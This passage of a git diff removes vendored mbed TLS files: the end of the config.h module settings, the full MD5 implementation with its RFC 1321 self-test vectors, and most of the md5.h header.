MBEDTLS_MD_C - * Can use: MBEDTLS_ARC4_C - * - * This module enables PKCS#12 functions. - */ -#define MBEDTLS_PKCS12_C - -/** - * \def MBEDTLS_PLATFORM_C - * - * Enable the platform abstraction layer that allows you to re-assign - * functions like calloc(), free(), snprintf(), printf(), fprintf(), exit(). - * - * Enabling MBEDTLS_PLATFORM_C enables to use of MBEDTLS_PLATFORM_XXX_ALT - * or MBEDTLS_PLATFORM_XXX_MACRO directives, allowing the functions mentioned - * above to be specified at runtime or compile time respectively. - * - * \note This abstraction layer must be enabled on Windows (including MSYS2) - * as other module rely on it for a fixed snprintf implementation. - * - * Module: library/platform.c - * Caller: Most other .c files - * - * This module enables abstraction of common (libc) functions. - */ -#define MBEDTLS_PLATFORM_C - -/** - * \def MBEDTLS_RIPEMD160_C - * - * Enable the RIPEMD-160 hash algorithm. - * - * Module: library/mbedtls_ripemd160.c - * Caller: library/mbedtls_md.c - * - */ -#define MBEDTLS_RIPEMD160_C - -/** - * \def MBEDTLS_RSA_C - * - * Enable the RSA public-key cryptosystem. - * - * Module: library/rsa.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * library/ssl_tls.c - * library/x509.c - * - * This module is used by the following key exchanges: - * RSA, DHE-RSA, ECDHE-RSA, RSA-PSK - * - * Requires: MBEDTLS_BIGNUM_C, MBEDTLS_OID_C - */ -#define MBEDTLS_RSA_C - -/** - * \def MBEDTLS_SHA1_C - * - * Enable the SHA1 cryptographic hash algorithm. - * - * Module: library/mbedtls_sha1.c - * Caller: library/mbedtls_md.c - * library/ssl_cli.c - * library/ssl_srv.c - * library/ssl_tls.c - * library/x509write_crt.c - * - * This module is required for SSL/TLS and SHA1-signed certificates. - */ -#define MBEDTLS_SHA1_C - -/** - * \def MBEDTLS_SHA256_C - * - * Enable the SHA-224 and SHA-256 cryptographic hash algorithms. - * - * Module: library/mbedtls_sha256.c - * Caller: library/entropy.c - * library/mbedtls_md.c - * library/ssl_cli.c - * library/ssl_srv.c - * library/ssl_tls.c - * - * This module adds support for SHA-224 and SHA-256. - * This module is required for the SSL/TLS 1.2 PRF function. - */ -#define MBEDTLS_SHA256_C - -/** - * \def MBEDTLS_SHA512_C - * - * Enable the SHA-384 and SHA-512 cryptographic hash algorithms. - * - * Module: library/mbedtls_sha512.c - * Caller: library/entropy.c - * library/mbedtls_md.c - * library/ssl_cli.c - * library/ssl_srv.c - * - * This module adds support for SHA-384 and SHA-512. - */ -#define MBEDTLS_SHA512_C - -/** - * \def MBEDTLS_SSL_CACHE_C - * - * Enable simple SSL cache implementation. - * - * Module: library/ssl_cache.c - * Caller: - * - * Requires: MBEDTLS_SSL_CACHE_C - */ -#define MBEDTLS_SSL_CACHE_C - -/** - * \def MBEDTLS_SSL_COOKIE_C - * - * Enable basic implementation of DTLS cookies for hello verification. - * - * Module: library/ssl_cookie.c - * Caller: - */ -#define MBEDTLS_SSL_COOKIE_C - -/** - * \def MBEDTLS_SSL_TICKET_C - * - * Enable an implementation of TLS server-side callbacks for session tickets. - * - * Module: library/ssl_ticket.c - * Caller: - * - * Requires: MBEDTLS_CIPHER_C - */ -#define MBEDTLS_SSL_TICKET_C - -/** - * \def MBEDTLS_SSL_CLI_C - * - * Enable the SSL/TLS client code. - * - * Module: library/ssl_cli.c - * Caller: - * - * Requires: MBEDTLS_SSL_TLS_C - * - * This module is required for SSL/TLS client support. - */ -#define MBEDTLS_SSL_CLI_C - -/** - * \def MBEDTLS_SSL_SRV_C - * - * Enable the SSL/TLS server code. - * - * Module: library/ssl_srv.c - * Caller: - * - * Requires: MBEDTLS_SSL_TLS_C - * - * This module is required for SSL/TLS server support. - */ -#define MBEDTLS_SSL_SRV_C - -/** - * \def MBEDTLS_SSL_TLS_C - * - * Enable the generic SSL/TLS code. - * - * Module: library/ssl_tls.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * - * Requires: MBEDTLS_CIPHER_C, MBEDTLS_MD_C - * and at least one of the MBEDTLS_SSL_PROTO_XXX defines - * - * This module is required for SSL/TLS. - */ -#define MBEDTLS_SSL_TLS_C - -/** - * \def MBEDTLS_THREADING_C - * - * Enable the threading abstraction layer. - * By default mbed TLS assumes it is used in a non-threaded environment or that - * contexts are not shared between threads. If you do intend to use contexts - * between threads, you will need to enable this layer to prevent race - * conditions. - * - * Module: library/threading.c - * - * This allows different threading implementations (self-implemented or - * provided). - * - * You will have to enable either MBEDTLS_THREADING_ALT or - * MBEDTLS_THREADING_PTHREAD. - * - * Enable this layer to allow use of mutexes within mbed TLS - */ -//#define MBEDTLS_THREADING_C - -/** - * \def MBEDTLS_TIMING_C - * - * Enable the portable timing interface. - * - * Module: library/timing.c - * Caller: library/havege.c - * - * This module is used by the HAVEGE random number generator. - */ -#define MBEDTLS_TIMING_C - -/** - * \def MBEDTLS_VERSION_C - * - * Enable run-time version information. - * - * Module: library/version.c - * - * This module provides run-time version information. - */ -#define MBEDTLS_VERSION_C - -/** - * \def MBEDTLS_X509_USE_C - * - * Enable X.509 core for using certificates. - * - * Module: library/x509.c - * Caller: library/mbedtls_x509_crl.c - * library/mbedtls_x509_crt.c - * library/mbedtls_x509_csr.c - * - * Requires: MBEDTLS_ASN1_PARSE_C, MBEDTLS_BIGNUM_C, MBEDTLS_OID_C, - * MBEDTLS_PK_PARSE_C - * - * This module is required for the X.509 parsing modules. - */ -#define MBEDTLS_X509_USE_C - -/** - * \def MBEDTLS_X509_CRT_PARSE_C - * - * Enable X.509 certificate parsing. - * - * Module: library/mbedtls_x509_crt.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * library/ssl_tls.c - * - * Requires: MBEDTLS_X509_USE_C - * - * This module is required for X.509 certificate parsing. - */ -#define MBEDTLS_X509_CRT_PARSE_C - -/** - * \def MBEDTLS_X509_CRL_PARSE_C - * - * Enable X.509 CRL parsing. - * - * Module: library/mbedtls_x509_crl.c - * Caller: library/mbedtls_x509_crt.c - * - * Requires: MBEDTLS_X509_USE_C - * - * This module is required for X.509 CRL parsing. - */ -#define MBEDTLS_X509_CRL_PARSE_C - -/** - * \def MBEDTLS_X509_CSR_PARSE_C - * - * Enable X.509 Certificate Signing Request (CSR) parsing. - * - * Module: library/mbedtls_x509_csr.c - * Caller: library/x509_crt_write.c - * - * Requires: MBEDTLS_X509_USE_C - * - * This module is used for reading X.509 certificate request. - */ -#define MBEDTLS_X509_CSR_PARSE_C - -/** - * \def MBEDTLS_X509_CREATE_C - * - * Enable X.509 core for creating certificates. - * - * Module: library/x509_create.c - * - * Requires: MBEDTLS_BIGNUM_C, MBEDTLS_OID_C, MBEDTLS_PK_WRITE_C - * - * This module is the basis for creating X.509 certificates and CSRs. - */ -#define MBEDTLS_X509_CREATE_C - -/** - * \def MBEDTLS_X509_CRT_WRITE_C - * - * Enable creating X.509 certificates. - * - * Module: library/x509_crt_write.c - * - * Requires: MBEDTLS_X509_CREATE_C - * - * This module is required for X.509 certificate creation. - */ -#define MBEDTLS_X509_CRT_WRITE_C - -/** - * \def MBEDTLS_X509_CSR_WRITE_C - * - * Enable creating X.509 Certificate Signing Requests (CSR). - * - * Module: library/x509_csr_write.c - * - * Requires: MBEDTLS_X509_CREATE_C - * - * This module is required for X.509 certificate request writing. - */ -#define MBEDTLS_X509_CSR_WRITE_C - -/** - * \def MBEDTLS_XTEA_C - * - * Enable the XTEA block cipher. - * - * Module: library/xtea.c - * Caller: - */ -#define MBEDTLS_XTEA_C - -/* \} name SECTION: mbed TLS modules */ - -/** - * \name SECTION: Module configuration options - * - * This section allows for the setting of module specific sizes and - * configuration options. The default values are already present in the - * relevant header files and should suffice for the regular use cases. - * - * Our advice is to enable options and change their values here - * only if you have a good reason and know the consequences. - * - * Please check the respective header file for documentation on these - * parameters (to prevent duplicate documentation). - * \{ - */ - -/* MPI / BIGNUM options */ -//#define MBEDTLS_MPI_WINDOW_SIZE 6 /**< Maximum windows size used. */ -//#define MBEDTLS_MPI_MAX_SIZE 1024 /**< Maximum number of bytes for usable MPIs. */ - -/* CTR_DRBG options */ -//#define MBEDTLS_CTR_DRBG_ENTROPY_LEN 48 /**< Amount of entropy used per seed by default (48 with SHA-512, 32 with SHA-256) */ -//#define MBEDTLS_CTR_DRBG_RESEED_INTERVAL 10000 /**< Interval before reseed is performed by default */ -//#define MBEDTLS_CTR_DRBG_MAX_INPUT 256 /**< Maximum number of additional input bytes */ -//#define MBEDTLS_CTR_DRBG_MAX_REQUEST 1024 /**< Maximum number of requested bytes per call */ -//#define MBEDTLS_CTR_DRBG_MAX_SEED_INPUT 384 /**< Maximum size of (re)seed buffer */ - -/* HMAC_DRBG options */ -//#define MBEDTLS_HMAC_DRBG_RESEED_INTERVAL 10000 /**< Interval before reseed is performed by default */ -//#define MBEDTLS_HMAC_DRBG_MAX_INPUT 256 /**< Maximum number of additional input bytes */ -//#define MBEDTLS_HMAC_DRBG_MAX_REQUEST 1024 /**< Maximum number of requested bytes per call */ -//#define MBEDTLS_HMAC_DRBG_MAX_SEED_INPUT 384 /**< Maximum size of (re)seed buffer */ - -/* ECP options */ -//#define MBEDTLS_ECP_MAX_BITS 521 /**< Maximum bit size of groups */ -//#define MBEDTLS_ECP_WINDOW_SIZE 6 /**< Maximum window size used */ -//#define MBEDTLS_ECP_FIXED_POINT_OPTIM 1 /**< Enable fixed-point speed-up */ - -/* Entropy options */ -//#define MBEDTLS_ENTROPY_MAX_SOURCES 20 /**< Maximum number of sources supported */ -//#define MBEDTLS_ENTROPY_MAX_GATHER 128 /**< Maximum amount requested from entropy sources */ - -/* Memory buffer allocator options */ -//#define MBEDTLS_MEMORY_ALIGN_MULTIPLE 4 /**< Align on multiples of this value */ - -/* Platform options */ -//#define MBEDTLS_PLATFORM_STD_MEM_HDR /**< Header to include if MBEDTLS_PLATFORM_NO_STD_FUNCTIONS is defined. Don't define if no header is needed. */ -//#define MBEDTLS_PLATFORM_STD_CALLOC calloc /**< Default allocator to use, can be undefined */ -//#define MBEDTLS_PLATFORM_STD_FREE free /**< Default free to use, can be undefined */ -//#define MBEDTLS_PLATFORM_STD_EXIT exit /**< Default exit to use, can be undefined */ -//#define MBEDTLS_PLATFORM_STD_FPRINTF fprintf /**< Default fprintf to use, can be undefined */ -//#define MBEDTLS_PLATFORM_STD_PRINTF printf /**< Default printf to use, can be undefined */ -/* Note: your snprintf must correclty zero-terminate the buffer! */ -//#define MBEDTLS_PLATFORM_STD_SNPRINTF snprintf /**< Default snprintf to use, can be undefined */ - -/* To Use Function Macros MBEDTLS_PLATFORM_C must be enabled */ -/* MBEDTLS_PLATFORM_XXX_MACRO and MBEDTLS_PLATFORM_XXX_ALT cannot both be defined */ -//#define MBEDTLS_PLATFORM_CALLOC_MACRO calloc /**< Default allocator macro to use, can be undefined */ -//#define MBEDTLS_PLATFORM_FREE_MACRO free /**< Default free macro to use, can be undefined */ -//#define MBEDTLS_PLATFORM_EXIT_MACRO exit /**< Default exit macro to use, can be undefined */ -//#define MBEDTLS_PLATFORM_FPRINTF_MACRO fprintf /**< Default fprintf macro to use, can be undefined */ -//#define MBEDTLS_PLATFORM_PRINTF_MACRO printf /**< Default printf macro to use, can be undefined */ -/* Note: your snprintf must correclty zero-terminate the buffer! */ -//#define MBEDTLS_PLATFORM_SNPRINTF_MACRO snprintf /**< Default snprintf macro to use, can be undefined */ - -/* SSL Cache options */ -//#define MBEDTLS_SSL_CACHE_DEFAULT_TIMEOUT 86400 /**< 1 day */ -//#define MBEDTLS_SSL_CACHE_DEFAULT_MAX_ENTRIES 50 /**< Maximum entries in cache */ - -/* SSL options */ -//#define MBEDTLS_SSL_MAX_CONTENT_LEN 16384 /**< Maxium fragment length in bytes, determines the size of each of the two internal I/O buffers */ -//#define MBEDTLS_SSL_DEFAULT_TICKET_LIFETIME 86400 /**< Lifetime of session tickets (if enabled) */ -//#define MBEDTLS_PSK_MAX_LEN 32 /**< Max size of TLS pre-shared keys, in bytes (default 256 bits) */ -//#define MBEDTLS_SSL_COOKIE_TIMEOUT 60 /**< Default expiration delay of DTLS cookies, in seconds if HAVE_TIME, or in number of cookies issued */ - -/** - * Complete list of ciphersuites to use, in order of preference. - * - * \warning No dependency checking is done on that field! This option can only - * be used to restrict the set of available ciphersuites. It is your - * responsibility to make sure the needed modules are active. - * - * Use this to save a few hundred bytes of ROM (default ordering of all - * available ciphersuites) and a few to a few hundred bytes of RAM. - * - * The value below is only an example, not the default. - */ -//#define MBEDTLS_SSL_CIPHERSUITES MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 - -/* X509 options */ -//#define MBEDTLS_X509_MAX_INTERMEDIATE_CA 8 /**< Maximum number of intermediate CAs in a verification chain. */ - -/* \} name SECTION: Module configuration options */ - -#if defined(TARGET_LIKE_MBED) -#include "mbedtls/target_config.h" -#endif - -/* - * Allow user to override any previous default. - * - * Use two macro names for that, as: - * - with yotta the prefix YOTTA_CFG_ is forced - * - without yotta is looks weird to have a YOTTA prefix. - */ -#if defined(YOTTA_CFG_MBEDTLS_USER_CONFIG_FILE) -#include YOTTA_CFG_MBEDTLS_USER_CONFIG_FILE -#elif defined(MBEDTLS_USER_CONFIG_FILE) -#include MBEDTLS_USER_CONFIG_FILE -#endif - -#include "check_config.h" - -#endif /* MBEDTLS_CONFIG_H */ diff --git a/others/mbedtls/md5.c b/others/mbedtls/md5.c deleted file mode 100644 index 3fb6531cfb..0000000000 --- a/others/mbedtls/md5.c +++ /dev/null @@ -1,404 +0,0 @@ -/* - * RFC 1321 compliant MD5 implementation - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -/* - * The MD5 algorithm was designed by Ron Rivest in 1991. - * - * http://www.ietf.org/rfc/rfc1321.txt - */ - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "mbedtls/config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#if defined(MBEDTLS_MD5_C) - -#include "mbedtls/md5.h" - -#include - -#if defined(MBEDTLS_SELF_TEST) -#if defined(MBEDTLS_PLATFORM_C) -#include "mbedtls/platform.h" -#else -#include -#define mbedtls_printf printf -#endif /* MBEDTLS_PLATFORM_C */ -#endif /* MBEDTLS_SELF_TEST */ - -#if !defined(MBEDTLS_MD5_ALT) - -/* Implementation that should never be optimized out by the compiler */ -static void mbedtls_zeroize( void *v, size_t n ) { - volatile unsigned char *p = v; while( n-- ) *p++ = 0; -} - -/* - * 32-bit integer manipulation macros (little endian) - */ -#ifndef GET_UINT32_LE -#define GET_UINT32_LE(n,b,i) \ -{ \ - (n) = ( (uint32_t) (b)[(i) ] ) \ - | ( (uint32_t) (b)[(i) + 1] << 8 ) \ - | ( (uint32_t) (b)[(i) + 2] << 16 ) \ - | ( (uint32_t) (b)[(i) + 3] << 24 ); \ -} -#endif - -#ifndef PUT_UINT32_LE -#define PUT_UINT32_LE(n,b,i) \ -{ \ - (b)[(i) ] = (unsigned char) ( ( (n) ) & 0xFF ); \ - (b)[(i) + 1] = (unsigned char) ( ( (n) >> 8 ) & 0xFF ); \ - (b)[(i) + 2] = (unsigned char) ( ( (n) >> 16 ) & 0xFF ); \ - (b)[(i) + 3] = (unsigned char) ( ( (n) >> 24 ) & 0xFF ); \ -} -#endif - -void mbedtls_md5_init( mbedtls_md5_context *ctx ) -{ - memset( ctx, 0, sizeof( mbedtls_md5_context ) ); -} - -void mbedtls_md5_free( mbedtls_md5_context *ctx ) -{ - if( ctx == NULL ) - return; - - mbedtls_zeroize( ctx, sizeof( mbedtls_md5_context ) ); -} - -void mbedtls_md5_clone( mbedtls_md5_context *dst, - const mbedtls_md5_context *src ) -{ - *dst = *src; -} - -/* - * MD5 context setup - */ -void mbedtls_md5_starts( mbedtls_md5_context *ctx ) -{ - ctx->total[0] = 0; - ctx->total[1] = 0; - - ctx->state[0] = 0x67452301; - ctx->state[1] = 0xEFCDAB89; - ctx->state[2] = 0x98BADCFE; - ctx->state[3] = 0x10325476; -} - -#if !defined(MBEDTLS_MD5_PROCESS_ALT) -void mbedtls_md5_process( mbedtls_md5_context *ctx, const unsigned char data[64] ) -{ - uint32_t X[16], A, B, C, D; - - GET_UINT32_LE( X[ 0], data, 0 ); - GET_UINT32_LE( X[ 1], data, 4 ); - GET_UINT32_LE( X[ 2], data, 8 ); - GET_UINT32_LE( X[ 3], data, 12 ); - GET_UINT32_LE( X[ 4], data, 16 ); - GET_UINT32_LE( X[ 5], data, 20 ); - GET_UINT32_LE( X[ 6], data, 24 ); - GET_UINT32_LE( X[ 7], data, 28 ); - GET_UINT32_LE( X[ 8], data, 32 ); - GET_UINT32_LE( X[ 9], data, 36 ); - GET_UINT32_LE( X[10], data, 40 ); - GET_UINT32_LE( X[11], data, 44 ); - GET_UINT32_LE( X[12], data, 48 ); - GET_UINT32_LE( X[13], data, 52 ); - GET_UINT32_LE( X[14], data, 56 ); - GET_UINT32_LE( X[15], data, 60 ); - -#define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) - -#define P(a,b,c,d,k,s,t) \ -{ \ - a += F(b,c,d) + X[k] + t; a = S(a,s) + b; \ -} - - A = ctx->state[0]; - B = ctx->state[1]; - C = ctx->state[2]; - D = ctx->state[3]; - -#define F(x,y,z) (z ^ (x & (y ^ z))) - - P( A, B, C, D, 0, 7, 0xD76AA478 ); - P( D, A, B, C, 1, 12, 0xE8C7B756 ); - P( C, D, A, B, 2, 17, 0x242070DB ); - P( B, C, D, A, 3, 22, 0xC1BDCEEE ); - P( A, B, C, D, 4, 7, 0xF57C0FAF ); - P( D, A, B, C, 5, 12, 0x4787C62A ); - P( C, D, A, B, 6, 17, 0xA8304613 ); - P( B, C, D, A, 7, 22, 0xFD469501 ); - P( A, B, C, D, 8, 7, 0x698098D8 ); - P( D, A, B, C, 9, 12, 0x8B44F7AF ); - P( C, D, A, B, 10, 17, 0xFFFF5BB1 ); - P( B, C, D, A, 11, 22, 0x895CD7BE ); - P( A, B, C, D, 12, 7, 0x6B901122 ); - P( D, A, B, C, 13, 12, 0xFD987193 ); - P( C, D, A, B, 14, 17, 0xA679438E ); - P( B, C, D, A, 15, 22, 0x49B40821 ); - -#undef F - -#define F(x,y,z) (y ^ (z & (x ^ y))) - - P( A, B, C, D, 1, 5, 0xF61E2562 ); - P( D, A, B, C, 6, 9, 0xC040B340 ); - P( C, D, A, B, 11, 14, 0x265E5A51 ); - P( B, C, D, A, 0, 20, 0xE9B6C7AA ); - P( A, B, C, D, 5, 5, 0xD62F105D ); - P( D, A, B, C, 10, 9, 0x02441453 ); - P( C, D, A, B, 15, 14, 0xD8A1E681 ); - P( B, C, D, A, 4, 20, 0xE7D3FBC8 ); - P( A, B, C, D, 9, 5, 0x21E1CDE6 ); - P( D, A, B, C, 14, 9, 0xC33707D6 ); - P( C, D, A, B, 3, 14, 0xF4D50D87 ); - P( B, C, D, A, 8, 20, 0x455A14ED ); - P( A, B, C, D, 13, 5, 0xA9E3E905 ); - P( D, A, B, C, 2, 9, 0xFCEFA3F8 ); - P( C, D, A, B, 7, 14, 0x676F02D9 ); - P( B, C, D, A, 12, 20, 0x8D2A4C8A ); - -#undef F - -#define F(x,y,z) (x ^ y ^ z) - - P( A, B, C, D, 5, 4, 0xFFFA3942 ); - P( D, A, B, C, 8, 11, 0x8771F681 ); - P( C, D, A, B, 11, 16, 0x6D9D6122 ); - P( B, C, D, A, 14, 23, 0xFDE5380C ); - P( A, B, C, D, 1, 4, 0xA4BEEA44 ); - P( D, A, B, C, 4, 11, 0x4BDECFA9 ); - P( C, D, A, B, 7, 16, 0xF6BB4B60 ); - P( B, C, D, A, 10, 23, 0xBEBFBC70 ); - P( A, B, C, D, 13, 4, 0x289B7EC6 ); - P( D, A, B, C, 0, 11, 0xEAA127FA ); - P( C, D, A, B, 3, 16, 0xD4EF3085 ); - P( B, C, D, A, 6, 23, 0x04881D05 ); - P( A, B, C, D, 9, 4, 0xD9D4D039 ); - P( D, A, B, C, 12, 11, 0xE6DB99E5 ); - P( C, D, A, B, 15, 16, 0x1FA27CF8 ); - P( B, C, D, A, 2, 23, 0xC4AC5665 ); - -#undef F - -#define F(x,y,z) (y ^ (x | ~z)) - - P( A, B, C, D, 0, 6, 0xF4292244 ); - P( D, A, B, C, 7, 10, 0x432AFF97 ); - P( C, D, A, B, 14, 15, 0xAB9423A7 ); - P( B, C, D, A, 5, 21, 0xFC93A039 ); - P( A, B, C, D, 12, 6, 0x655B59C3 ); - P( D, A, B, C, 3, 10, 0x8F0CCC92 ); - P( C, D, A, B, 10, 15, 0xFFEFF47D ); - P( B, C, D, A, 1, 21, 0x85845DD1 ); - P( A, B, C, D, 8, 6, 0x6FA87E4F ); - P( D, A, B, C, 15, 10, 0xFE2CE6E0 ); - P( C, D, A, B, 6, 15, 0xA3014314 ); - P( B, C, D, A, 13, 21, 0x4E0811A1 ); - P( A, B, C, D, 4, 6, 0xF7537E82 ); - P( D, A, B, C, 11, 10, 0xBD3AF235 ); - P( C, D, A, B, 2, 15, 0x2AD7D2BB ); - P( B, C, D, A, 9, 21, 0xEB86D391 ); - -#undef F - - ctx->state[0] += A; - ctx->state[1] += B; - ctx->state[2] += C; - ctx->state[3] += D; -} -#endif /* !MBEDTLS_MD5_PROCESS_ALT */ - -/* - * MD5 process buffer - */ -void mbedtls_md5_update( mbedtls_md5_context *ctx, const unsigned char *input, size_t ilen ) -{ - size_t fill; - uint32_t left; - - if( ilen == 0 ) - return; - - left = ctx->total[0] & 0x3F; - fill = 64 - left; - - ctx->total[0] += (uint32_t) ilen; - ctx->total[0] &= 0xFFFFFFFF; - - if( ctx->total[0] < (uint32_t) ilen ) - ctx->total[1]++; - - if( left && ilen >= fill ) - { - memcpy( (void *) (ctx->buffer + left), input, fill ); - mbedtls_md5_process( ctx, ctx->buffer ); - input += fill; - ilen -= fill; - left = 0; - } - - while( ilen >= 64 ) - { - mbedtls_md5_process( ctx, input ); - input += 64; - ilen -= 64; - } - - if( ilen > 0 ) - { - memcpy( (void *) (ctx->buffer + left), input, ilen ); - } -} - -static const unsigned char md5_padding[64] = -{ - 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 -}; - -/* - * MD5 final digest - */ -void mbedtls_md5_finish( mbedtls_md5_context *ctx, unsigned char output[16] ) -{ - uint32_t last, padn; - uint32_t high, low; - unsigned char msglen[8]; - - high = ( ctx->total[0] >> 29 ) - | ( ctx->total[1] << 3 ); - low = ( ctx->total[0] << 3 ); - - PUT_UINT32_LE( low, msglen, 0 ); - PUT_UINT32_LE( high, msglen, 4 ); - - last = ctx->total[0] & 0x3F; - padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); - - mbedtls_md5_update( ctx, md5_padding, padn ); - mbedtls_md5_update( ctx, msglen, 8 ); - - PUT_UINT32_LE( ctx->state[0], output, 0 ); - PUT_UINT32_LE( ctx->state[1], output, 4 ); - PUT_UINT32_LE( ctx->state[2], output, 8 ); - PUT_UINT32_LE( ctx->state[3], output, 12 ); -} - -#endif /* !MBEDTLS_MD5_ALT */ - -/* - * output = MD5( input buffer ) - */ -void mbedtls_md5( const unsigned char *input, size_t ilen, unsigned char output[16] ) -{ - mbedtls_md5_context ctx; - - mbedtls_md5_init( &ctx ); - mbedtls_md5_starts( &ctx ); - mbedtls_md5_update( &ctx, input, ilen ); - mbedtls_md5_finish( &ctx, output ); - mbedtls_md5_free( &ctx ); -} - -#if defined(MBEDTLS_SELF_TEST) -/* - * RFC 1321 test vectors - */ -static const unsigned char md5_test_buf[7][81] = -{ - { "" }, - { "a" }, - { "abc" }, - { "message digest" }, - { "abcdefghijklmnopqrstuvwxyz" }, - { "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" }, - { "12345678901234567890123456789012345678901234567890123456789012" \ - "345678901234567890" } -}; - -static const int md5_test_buflen[7] = -{ - 0, 1, 3, 14, 26, 62, 80 -}; - -static const unsigned char md5_test_sum[7][16] = -{ - { 0xD4, 0x1D, 0x8C, 0xD9, 0x8F, 0x00, 0xB2, 0x04, - 0xE9, 0x80, 0x09, 0x98, 0xEC, 0xF8, 0x42, 0x7E }, - { 0x0C, 0xC1, 0x75, 0xB9, 0xC0, 0xF1, 0xB6, 0xA8, - 0x31, 0xC3, 0x99, 0xE2, 0x69, 0x77, 0x26, 0x61 }, - { 0x90, 0x01, 0x50, 0x98, 0x3C, 0xD2, 0x4F, 0xB0, - 0xD6, 0x96, 0x3F, 0x7D, 0x28, 0xE1, 0x7F, 0x72 }, - { 0xF9, 0x6B, 0x69, 0x7D, 0x7C, 0xB7, 0x93, 0x8D, - 0x52, 0x5A, 0x2F, 0x31, 0xAA, 0xF1, 0x61, 0xD0 }, - { 0xC3, 0xFC, 0xD3, 0xD7, 0x61, 0x92, 0xE4, 0x00, - 0x7D, 0xFB, 0x49, 0x6C, 0xCA, 0x67, 0xE1, 0x3B }, - { 0xD1, 0x74, 0xAB, 0x98, 0xD2, 0x77, 0xD9, 0xF5, - 0xA5, 0x61, 0x1C, 0x2C, 0x9F, 0x41, 0x9D, 0x9F }, - { 0x57, 0xED, 0xF4, 0xA2, 0x2B, 0xE3, 0xC9, 0x55, - 0xAC, 0x49, 0xDA, 0x2E, 0x21, 0x07, 0xB6, 0x7A } -}; - -/* - * Checkup routine - */ -int mbedtls_md5_self_test( int verbose ) -{ - int i; - unsigned char md5sum[16]; - - for( i = 0; i < 7; i++ ) - { - if( verbose != 0 ) - mbedtls_printf( " MD5 test #%d: ", i + 1 ); - - mbedtls_md5( md5_test_buf[i], md5_test_buflen[i], md5sum ); - - if( memcmp( md5sum, md5_test_sum[i], 16 ) != 0 ) - { - if( verbose != 0 ) - mbedtls_printf( "failed\n" ); - - return( 1 ); - } - - if( verbose != 0 ) - mbedtls_printf( "passed\n" ); - } - - if( verbose != 0 ) - mbedtls_printf( "\n" ); - - return( 0 ); -} - -#endif /* MBEDTLS_SELF_TEST */ - -#endif /* MBEDTLS_MD5_C */ \ No newline at end of file diff --git a/others/mbedtls/md5.h b/others/mbedtls/md5.h deleted file mode 100644 index f3ef80f8ec..0000000000 --- a/others/mbedtls/md5.h +++ /dev/null @@ -1,136 +0,0 @@ -/** - * \file md5.h - * - * \brief MD5 message digest algorithm (hash function) - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -#ifndef MBEDTLS_MD5_H -#define MBEDTLS_MD5_H - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#include -#include - -#if !defined(MBEDTLS_MD5_ALT) -// Regular implementation -// - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \brief MD5 context structure - */ -typedef struct -{ - uint32_t total[2]; /*!< number of bytes processed */ - uint32_t state[4]; /*!< intermediate digest state */ - unsigned char buffer[64]; /*!< data block being processed */ -} -mbedtls_md5_context; - -/** - * \brief Initialize MD5 context - * - * \param ctx MD5 context to be initialized - */ -void mbedtls_md5_init( mbedtls_md5_context *ctx ); - -/** - * \brief Clear MD5 context - * - * \param ctx MD5 context to be cleared - */ -void mbedtls_md5_free( mbedtls_md5_context *ctx ); - -/** - * \brief Clone (the state of) an MD5 context - * - * \param dst The destination context - * \param src The context to be cloned - */ -void mbedtls_md5_clone( mbedtls_md5_context *dst, - const mbedtls_md5_context *src ); - -/** - * \brief MD5 context setup - * - * \param ctx context to be initialized - */ -void mbedtls_md5_starts( mbedtls_md5_context *ctx ); - -/** - * \brief MD5 process buffer - * - * \param ctx MD5 context - * \param input buffer holding the data - * \param ilen length of the input data - */ -void mbedtls_md5_update( mbedtls_md5_context *ctx, const unsigned char *input, size_t ilen ); - -/** - * \brief MD5 final digest - * - * \param ctx MD5 context - * \param output MD5 checksum result - */ -void mbedtls_md5_finish( mbedtls_md5_context *ctx, unsigned char output[16] ); - -/* Internal use */ -void mbedtls_md5_process( mbedtls_md5_context *ctx, const unsigned char data[64] ); - -#ifdef __cplusplus -} -#endif - -#else /* MBEDTLS_MD5_ALT */ -#include "md5_alt.h" -#endif /* MBEDTLS_MD5_ALT */ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \brief Output = MD5( input buffer ) - * - * \param input buffer holding the data - * \param ilen length of the input data - * \param output MD5 checksum result - */ -void mbedtls_md5( const unsigned char *input, size_t ilen, unsigned char output[16] ); - -/** - * \brief Checkup routine - * - * \return 0 if successful, 